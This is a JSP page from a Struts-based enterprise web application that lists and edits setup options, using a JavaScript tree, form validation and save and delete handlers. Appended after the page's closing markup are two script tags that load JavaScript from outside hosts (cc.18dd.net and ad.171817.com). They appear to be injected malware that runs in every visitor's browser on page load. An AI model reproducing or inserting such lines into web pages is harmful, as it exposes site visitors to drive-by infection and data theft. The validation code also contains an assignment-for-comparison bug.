<%
/*
 * @(#)ListOptionsSetup.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  ListOptionsSetup.jsp

  This class is reflecting business logic uses.

    @author           Kennedy Lam
    @company          DCIVision Limited
    @creation date    30/07/2003
    @version          $Revision: 1.24.2.11 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.setup.*"%>
<%@ page import="com.dcivision.setup.bean.*"%>
<%@ page import="com.dcivision.setup.dao.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintOptionsSetupForm" scope="request" class="com.dcivision.setup.web.MaintOptionsSetupForm"/>

<script language="Javascript" src="<%= request.getContextPath() %>/js/OldTree.jsp" charset="UTF-8" type="text/javascript"></script>
<%
  String optionsSetupName = "SetupOptionCountry"; //default
  if (request.getParameter("optionsSetupName") != null)
    optionsSetupName = request.getParameter("optionsSetupName");

  SetupOptionItem setupOptionItem = SetupOptionFactory.getSetupOptionItem(optionsSetupName);
  String nameListTitle = setupOptionItem.getColumnHeader();
  String setupOptionDAObjectName = setupOptionItem.getDAObjectName();

  String optName = sessionContainer.getFunctionNameByFunctionCode("STP_OPTION_SETUP");
  StringBuffer sbPageTitle = new StringBuffer();
  sbPageTitle.append(sessionContainer.getFunctionNameByFunctionCode("STP"));
  sbPageTitle.append("&nbsp;&gt;&nbsp;");
  sbPageTitle.append(optName);
  sbPageTitle.append("&nbsp;&gt;&nbsp;");
%>



<div>


<!--listContainer div Begin -->
<div id="formContainer">

<table width="100%">
  <!-- Section Header Begin-->
  <layout:sectionHeader name='setupOption.sectionheader.optionsetup' mandatory='false'/>
  <!-- Section Header End-->


<!--  main table begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>

<!-- form1 begin-->
<form name="setupOptionList" action="MaintOptionsSetup.do" method="POST" class="form-style-2">

  <!-- td1 tree begin -->
  <td valign='top'>
  
  <div id="treeContainer"  style="border-top:1px solid #bfbfbf">  

<%
  /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<!--Begin: Options List-->
<script language="JavaScript">
<!--
<%
  AbstractSetupOptionDAObject setupOptionDAO =
    (AbstractSetupOptionDAObject) Class.forName(setupOptionDAObjectName).newInstance();

  String optionName = request.getParameter("optionsSetupName")!=null?request.getParameter("optionsSetupName"):"";

  ArrayList list = (ArrayList) session.getAttribute("setupOptionList");

  SetupOption opt = null;
  if (setupOptionDAO.hasOptionCode()) {
    for ( int i=0; i < list.size(); i++ ){
      opt = (SetupOption) list.get(i);
%>
  var option<%=opt.getID()%> = ['<%=opt.getID()%>','<%=TextUtility.escapeJSString(opt.getOptionName())%>','<%=TextUtility.escapeJSString(opt.getOptionCode())%>','<%=opt.getDisplaySeq()%>','<%=TextUtility.escapeJSString(opt.getStatus())%>','<%=opt.getUpdateCount()%>','<%=opt.getCreatorID()%>','<%=opt.getCreateDate()%>','<%=opt.getUpdaterID()%>','<%=opt.getUpdateDate()%>'];
<%
    }
  } else {
    for ( int i=0; i < list.size(); i++ ){
      opt = (SetupOption) list.get(i);
%>
  var option<%=opt.getID()%> = ['<%=opt.getID()%>','<%=TextUtility.escapeJSString(opt.getOptionName())%>','<%=opt.getDisplaySeq()%>','<%=TextUtility.escapeJSString(opt.getStatus())%>','<%=opt.getUpdateCount()%>','<%=opt.getCreatorID()%>','<%=opt.getCreateDate()%>','<%=opt.getUpdaterID()%>','<%=opt.getUpdateDate()%>'];
<%
    }
  }
%>

//-----   javascript build tree begin -----

webFXTreeConfig.folderIcon      = "<html:img src='IconTreeSetupOption.gif' pathOnly='true'/>";
webFXTreeConfig.openFolderIcon  = "<html:img src='IconTreeSetupOption.gif' pathOnly='true'/>";
webFXTreeHandler.currentID      = "<%=setupOptionItem.getIndex()%>";

if (document.getElementById) {

  //var node0 = new WebFXTree('Setup', 'MaintOptionsSetup.do');
  var node0 = new WebFXTree('<bean:message key='setupOption.columnheader.root'/>', '#');
  node0.setBehavior('explorer');

<%
  SetupOptionItem[] allItems = SetupOptionFactory.getItemsInOrder();

  StringBuffer sbTreeItem = new StringBuffer();
  for (int i = 0; i < allItems.length; i++ )
  {
%>

  itemnode<%=i%> = new WebFXTreeItem('<bean:message key='<%=allItems[i].getColumnHeader()%>'/>',
      'MaintOptionsSetup.do?optionsSetupName=<%=allItems[i].getOptionName()%>'
      ,'<%=allItems[i].getIndex()%>'
      );

  node0.add(itemnode<%=i%>);
<%
  }
%>
  document.write('<div id="treeFrame" class="dtreeContainer">');
  document.write('<div class="dtree">');
  document.write(node0);
  document.write('</div>');
  document.write('</div>');
}

//-----   javascript build tree end -----

/*
 *	Update Code Start
 *	Author				Jim.Zhou
 *	Date					2006/04/26
 *	Bug						#2503
 */
function validateName(){
<%
  for (int suffix=0;suffix<list.size();suffix++){
  //bill add for EIP-1177 start
  String strOptionName=((SetupOption)list.get(suffix)).getOptionName();
  String strOptionCode=((SetupOption)list.get(suffix)).getOptionCode();
  strOptionName=TextUtility.escapeJSString(strOptionName);
  strOptionCode=TextUtility.escapeJSString(strOptionCode);
  //bill add for EIP-1177 end
%>
 if (document.all.optionName.value == "<%=strOptionName%>"){
   if (document.forms['maintOptionsSetupForm'].opMode.value=OP_MODE_UPDATE && document.forms['maintOptionsSetupForm'].ID.value=="<%=((SetupOption)list.get(suffix)).getID()%>"){
   } else {
       alert("<bean:message key='error.setup.used_name'/>");
     return false;
   }
  }
  //joan.xiong add code for bug EIP-1250 by 2006/12/26
  if(document.all.optionCode && document.all.optionCode.value !=null){
    if(document.all.optionCode.value == "<%=strOptionCode%>"){
    if (document.forms['maintOptionsSetupForm'].opMode.value=OP_MODE_UPDATE &&document.forms['maintOptionsSetupForm'].ID.value=="<%=((SetupOption)list.get(suffix)).getID()%>"){
    }else{
      alert("Code cannot be duplicated");
    return false;
    }
  }
  }
  //joan.xiong add code for EIP-1250 end
<%}%>
  return true;
}
/*
 *	Update Code End
 */

function resetOption(object){
  //Hide edit button
  target=document.getElementById("editOption");
  target.style.display="none";
  //Display save button
  target=document.getElementById("newOption");
  target.style.display="block";
  document.forms['maintOptionsSetupForm'].opMode.value=OP_MODE_INSERT;
  document.forms['maintOptionsSetupForm'].ID.value="";
  document.forms['maintOptionsSetupForm'].optionName.value="";
<%if (setupOptionDAO.hasOptionCode()) {%>
  document.forms['maintOptionsSetupForm'].optionCode.value="";
<%}%>
  document.forms['maintOptionsSetupForm'].displaySeq.value="";
  document.forms['maintOptionsSetupForm'].status[0].checked=true;
  document.forms['maintOptionsSetupForm'].updateCount.value="";
  document.forms['maintOptionsSetupForm'].creatorID.value="";
  document.forms['maintOptionsSetupForm'].createDate.value="";
  document.forms['maintOptionsSetupForm'].updaterID.value="";
  document.forms['maintOptionsSetupForm'].updateDate.value="";
  document.forms['setupOptionList'].setupOption.selectedIndex=-1;
}

function putValue(object) {
  //Hide save option button
  target=document.getElementById("newOption");
  target.style.display="none";
  //Display edit option button
  target=document.getElementById("editOption");
  target.style.display="block"
  var selectedIdx = document.forms['setupOptionList'].setupOption.selectedIndex;

  if (selectedIdx == -1) {
    document.forms['maintOptionsSetupForm'].opMode.value=OP_MODE_INSERT;
    document.forms['maintOptionsSetupForm'].ID.value="";
    document.forms['maintOptionsSetupForm'].optionName.value="";
<%if (setupOptionDAO.hasOptionCode()) {%>
    document.forms['maintOptionsSetupForm'].optionCode.value="";
<%}%>
    document.forms['maintOptionsSetupForm'].displaySeq.value="";
    document.forms['maintOptionsSetupForm'].status[0].checked=true;
    document.forms['maintOptionsSetupForm'].updateCount.value="";
    document.forms['maintOptionsSetupForm'].creatorID.value="";
    document.forms['maintOptionsSetupForm'].createDate.value="";
    document.forms['maintOptionsSetupForm'].updaterID.value="";
    document.forms['maintOptionsSetupForm'].updateDate.value="";
    document.forms['maintOptionsSetupForm'].opMode.value=OP_MODE_INSERT;
  } else {
    document.forms['maintOptionsSetupForm'].opMode.value=OP_MODE_UPDATE;

    var selectedID = object.setupOption.options[selectedIdx].value;
<%int j = 0;%>
    document.forms['maintOptionsSetupForm'].ID.value=eval("option"+selectedID+"[<%=j++%>]");
    document.forms['maintOptionsSetupForm'].optionName.value=eval("option"+selectedID+"[<%=j++%>]");
<%if (setupOptionDAO.hasOptionCode()) {%>
    document.forms['maintOptionsSetupForm'].optionCode.value=eval("option"+selectedID+"[<%=j++%>]");
<%}%>
    document.forms['maintOptionsSetupForm'].displaySeq.value=eval("option"+selectedID+"[<%=j++%>]");
    if (eval("option"+selectedID+"[<%=j++%>]")=='A')
      document.forms['maintOptionsSetupForm'].status[0].checked=true;
    else
      document.forms['maintOptionsSetupForm'].status[1].checked=true;

    document.forms['maintOptionsSetupForm'].updateCount.value=eval("option"+selectedID+"[<%=j++%>]");
    document.forms['maintOptionsSetupForm'].creatorID.value=eval("option"+selectedID+"[<%=j++%>]");
    document.forms['maintOptionsSetupForm'].createDate.value=eval("option"+selectedID+"[<%=j++%>]");
    document.forms['maintOptionsSetupForm'].updaterID.value=eval("option"+selectedID+"[<%=j++%>]");
    document.forms['maintOptionsSetupForm'].updateDate.value=eval("option"+selectedID+"[<%=j++%>]");
  }
}

/*
 *	Update Code Start
 *	Author				Jim.Zhou
 *	Date					2006/04/20
 *	Bug						#5041
 */
function beforeSave(){

  /*
   *	Update Code Start
   *	Author				Jim.Zhou
   *	Date					2006/04/26
   *	Bug						#2503
   */
  if (!validateName()){
    return false;
  }
  /*
   *	Update Code End
   */

  var name=document.forms['maintOptionsSetupForm'].optionName.value;
  <%if (setupOptionDAO.hasOptionCode()) {%>
    var code=document.forms['maintOptionsSetupForm'].optionCode.value;
  <%}%>
  if (name==""){
    alert('<bean:message key="error.setup.value_required_error" arg0="Name" />');
    document.forms['maintOptionsSetupForm'].optionName.focus();
    return false;
  }
  <%if (setupOptionDAO.hasOptionCode()) {%>
    if (code==""){
      alert('<bean:message key="error.setup.value_required_error" arg0="Code" />');
      document.forms['maintOptionsSetupForm'].optionCode.focus();
      return false;
    }
  <%}%>
  if (name.indexOf(' ')!=-1 || name.indexOf('/')!=-1 || name.indexOf('\\')!=-1 || name.indexOf(':')!=-1 || name.indexOf('?')!=-1 || name.indexOf('*')!=-1){
    alert('<bean:message key="error.setup.invalid_character_error"/>');
    document.forms['maintOptionsSetupForm'].optionName.focus();
    return false;
  }
  <%if (setupOptionDAO.hasOptionCode()) {%>
    if (code!="" && (code.indexOf(' ')!=-1 || code.indexOf('/')!=-1 || code.indexOf('\\')!=-1 || code.indexOf(':')!=-1 || code.indexOf('?')!=-1 || code.indexOf('*')!=-1 )){
      alert('<bean:message key="error.setup.invalid_character_error"/>');
      document.forms['maintOptionsSetupForm'].optionCode.focus();
      return false;
    }
  <%}%>
  return true;
}
/*
 *	Update Code End
 */

  function checkDel() {
  if ( document.forms['setupOptionList'].setupOption.selectedIndex != "-1" ) {
    OpDelete(document.forms['maintOptionsSetupForm']);
    } else {
      alert("<bean:message key='errors.framework.delete_error'/>");
      return (false);
    }
  }

function OpCustSave(object){
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.maintOptionsSetupForm.optionName, invalidChars, "<bean:message key='setup.label.option_name'/> " + errorMessage)){
    return (false);
  }  
  if (!validateSpecialChar(document.maintOptionsSetupForm.optionCode, invalidChars, "<bean:message key='setup.label.option_code'/> " + errorMessage)){
    return (false);
  }  
  if	(!beforeSave()){
    return false;
  }
   <%if("SetupOptionDocumentRelationship".equals(optionName)){%>
      <%if (setupOptionDAO.hasOptionCode()) {%>
        if ((document.forms['maintOptionsSetupForm'].optionCode.value.length)>1){
          alert("<bean:message key='error.setup.option_code_length_exceed'/>");
          return false;
        }else{
          return OpSave(object);
        }
      <%}%>

    <%}else{%>
       return OpSave(object);
    <%}%>
}
-->
</script>


</div>
<!-- End: Options List-->
  </td>
<!-- td1 tree end -->

<!-- hidden property -->
<input type="hidden" name="opMode" value="">
<input type="hidden" name="navMode" value="">
<input type="hidden" name="del" value="">

<!-- framework:beanSorter omitted -->

<!-- logic:equal function permission omitted -->

<!-- td2 begin -->
<td valign="top" class="listEditTable">
<div id="rightDiv">

<layout:listBar>
	<div class="button">
	  <html:permissionButton styleClass="but-colheader" label="common.label.new" right="I" link="javascript:resetOption(document.forms['setupOptionList'])"/>
      <html:permissionButton styleClass="but-colheader" label="common.label.delete" right="D" onClick="return(checkDel());"/>
      <div id="newOption">
       <html:permissionButton styleClass="but-colheader" label="common.label.save" right="I" onClick="return OpCustSave(document.forms['maintOptionsSetupForm']);"/>
      </div>          
      <div id="editOption" style="display:none">
       <html:permissionButton styleClass="but-colheader" label="common.label.edit" right="E" onClick="return OpCustSave(document.forms['maintOptionsSetupForm']);"/>
      </div>
	</div>
	</layout:listBar>

<div id="listSelection">   

<!-- table of setup option selection list begin-->
<table width="100%">
  <tr><td>

  <!--Begin: Setup Option select item -->
  <table width="100%" class="noneBorderTable">
  <tr>
  
  <td align="center">  
    <br>
    <select name="setupOption" size='20' onChange='putValue(this.form)' style='width:200px'>
      <logic:iterate id='setupOption' name='setupOptionList'>
        <option value='<bean:write name='setupOption' property='ID'/>'>
          <bean:write name='setupOption' property='optionName'/>&nbsp;
          <%if (setupOptionDAO.hasOptionCode()) {%>
          (<bean:write name='setupOption' property='optionCode'/>)
          <%}%>
        </option>
      </logic:iterate>
    </select>
    <br>

<script language="JavaScript">
<!-- // override default ValidateForm
function ValidateForm() {
  if ( document.forms['maintOptionsSetupForm'].optionName.value == "" ) { return false; }
<%if (setupOptionDAO.hasOptionCode()) {%>
  if ( document.forms['maintOptionsSetupForm'].optionCode.value == "" ) { return false; }
<%}%>
  return true;
}
-->
</script>
  </td>
  
</form>
<!--form1 end-->
  
  <td style="vertical-align:top;">  
  <!-- form2 -->
  <html:form action="setup/MaintOptionsSetup" styleClass="form-style-2">
  
  <html:hidden property='opMode'/>
  <html:hidden property='navMode'/>
  <html:hidden property='ID'/>
  <html:hidden property='optionsSetupName' value='<%=optionsSetupName%>'/>
  <html:hidden property='recordStatus'/>
  <html:hidden property='updateCount'/>
  <html:hidden property='creatorID'/>
  <html:hidden property='createDate'/>
  <html:hidden property='updaterID'/>
  <html:hidden property='updateDate'/>
  
    <table width="90%" class="noneBorderTable">
       <tr>
        <td colspan="2"><html:img src='LayoutSpacer.gif' height='20'/></td>
       </tr>
       <layout:sectionHeader name="setup.label.option_info"/>
       <tr>
        <td class="formLabelSmallMan">
          <bean:message key='setup.label.option_name'/> :&nbsp;
        </td>
        <td class="formFieldSmall">
          <html:text property='optionName' size='25' maxlength='100'/>
        </td>
       </tr>

     <%if (setupOptionDAO.hasOptionCode()) {%>
      <tr>
        <td class="formLabelSmallMan">
          <bean:message key='setup.label.option_code'/> :&nbsp;
        </td>
        <td class="formFieldSmall">
          <html:text property='optionCode' size='25' maxlength='20'/>
        </td>
      </tr>
      <%}%>

      <tr>
        <td class="formLabelSmall">
          <bean:message key='setup.label.status'/> :&nbsp;
        </td>
        <td class="formFieldSmall">
          <html:radio property='status' value='A'/><bean:message key='setup.label.status_A'/>&nbsp;
          <html:radio property='status' value='I' /><bean:message key='setup.label.status_I'/>
        </td>
      </tr>

      <html:hidden property='displaySeq'/>

      <tr>
        <td colspan="2"><html:img src='LayoutSpacer.gif' height='1'/></td>
      </tr>
      <tr>
        <td colspan="3">
          
        </td>
      </tr>      
    </table>
        
  </html:form>
  <!-- end form2 -->    
  </td>

</tr>
</table>
<!-- End: Setup Option select item -->
    
  </td></tr>
</table>
<!-- table of setup option selection list end-->

</div>

 <div> 
</td>
<!-- td2 end -->

 
</tr>
</table>
<!--  main table edn -->

<!-- End: main -->
<script>addLoadEvent(function(){SetDivHeight('rightDiv', 'treeFrame')});</script>


</table>
</div>
<!--listContainer div Begin -->

</div>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>